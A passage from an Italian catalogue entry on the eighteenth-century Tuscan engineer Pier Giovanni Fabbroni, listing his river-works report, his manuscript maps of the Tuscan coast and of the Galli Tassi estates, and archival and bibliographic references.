l'immediato entroterra.
All’inizio degli anni ’60 si occupò della sistemazione di alcuni corsi d’acqua che apportavano frequenti disordini nella pianura tra Firenze e Prato; si veda la sua Relazione del 6 febbraio 1760 sui danni apportati dai torrenti Agna e Goraccia (in ASF, Mannelli Galilei Riccardi, 439, ins. 46).

Produzione di cartografia manoscritta:
Pianta della costa del Mare Toscana guarnita con tutte le sue torri e casotti fatta in occasione della peste di Messina, l'anno MDCCXXXXIII, principia dalla Torre del Cinquale fino alla Torre di Cala del Forno che confina con lo Stato di Orbetello, e la detta Pianta è stata ricorretta e amplificata da me Pier Gio.ni Fabbroni Ing.re, e fatta per servizzio del Clariss.mo Magis.to di sanità di Firenze l'anno MDCCLIIII con l'aggiunta della Pianta di tutta la Lunigiana nella quale tutto quel colore vinatro denota quello che si appartiene al Gran Ducato di Toscana, 1754 (ASF, Miscellanea di Piante, n. 258);
Cabreo dei beni urbani e rurali della Famiglia Galli Tassi, relativo alle Fattorie di Torre Galli (presso Scandicci) e di Carmignano (Poggio a Caiano) e ad altri beni posti in Firenze e dintorni, con Antonio Vannucci, 1753 (ASF, Archivio Galli Tassi, f. 45, 3).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Ginori Lisci, 1978, p. 283; Falciani Prunai, Minicucci e Rombai, 1983, p. 216; Rombai, Toccafondi e Vivoli, 1987, p. 186; ASF, Archivio Galli Tassi; ASF, Miscellanea di Piante; ASF, Mannelli Galilei Riccardi.

Rimandi ad altre schede: G.

Autore della scheda: